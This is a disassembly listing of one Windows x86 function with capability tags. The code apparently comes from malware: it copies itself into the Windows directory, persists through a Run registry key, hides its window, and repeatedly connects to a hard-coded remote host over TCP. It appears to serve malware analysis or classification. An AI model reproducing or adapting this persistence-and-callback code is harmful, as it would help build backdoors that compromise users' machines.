Function at 0x404700
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Copy file
Create tcp socket
Get common file path
Hide graphical window
Initialize winsock library
Persist via run registry key
Resolve dns
Set registry value
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e8
mov eax, dword [0x4012d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push pe_nt_image_headers32
lea eax, [ebp - 0x144]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push pe_nt_image_headers32
lea eax, [ebp - 0x244]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0x24
lea eax, [ebp - 0x244]
push pe_nt_image_headers32
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor ecx, ecx
mov al, byte [ebp + ecx - 0x244]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x145], al
test al, al
jne 0x404760
lea ecx, [ebp - 0x144]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x404780
mov eax, dword [0x401978]
mov edx, 0x401344
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x40197c]
mov dword [ecx + 4], eax
mov ax, word [0x401980]
mov word [ecx + 8], ax
mov al, byte [0x401982]
mov byte [ecx + 0xa], al
mov al, byte [edx]
inc edx
test al, al
jne 0x4047b2
lea edi, [ebp - 0x144]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4047c2
mov ecx, edx
lea eax, [ebp - 0x44]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x40
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x3e8]
push eax
push 0x401824
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0x144]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404820
sub ecx, edx
lea eax, [ebp - 0x144]
push ecx
push eax
push 1
push 0
push 0x401360
push dword [ebp - 0x3e8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x3e8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [ebp - 0x3e8]
lea eax, [ebp - 0x3e4]
mov esi, 2
push eax
push 0x202
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x404906
push 0x401300
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x40489c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x4048a6
push 0x401300
call sub.WSOCK32.dll_inet_addr
push 0x401320
mov dword [ebp - 0x250], eax
mov word [ebp - 0x254], si
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
add esp, 4
push eax
call sub.WSOCK32.dll_htons
push 6
push 1
push 2
mov word [ebp - 0x252], ax
call sub.WSOCK32.dll_socket
push 0x401300
push 0x401984
mov ebx, eax
call fcn.004059a0
add esp, 8
lea eax, [ebp - 0x254]
push 0x10
push eax
push ebx
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
je 0x404906
push ebx
call fcn.00401c70
push ebx
call sub.WSOCK32.dll_closesocket
sub esp, 0x190
lea esi, [ebp - 0x3e4]
mov edi, esp
mov ecx, 0x64
rep movsd dword es:[edi], dword [esi]
call sub.WSOCK32.dll_WSACleanup
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404867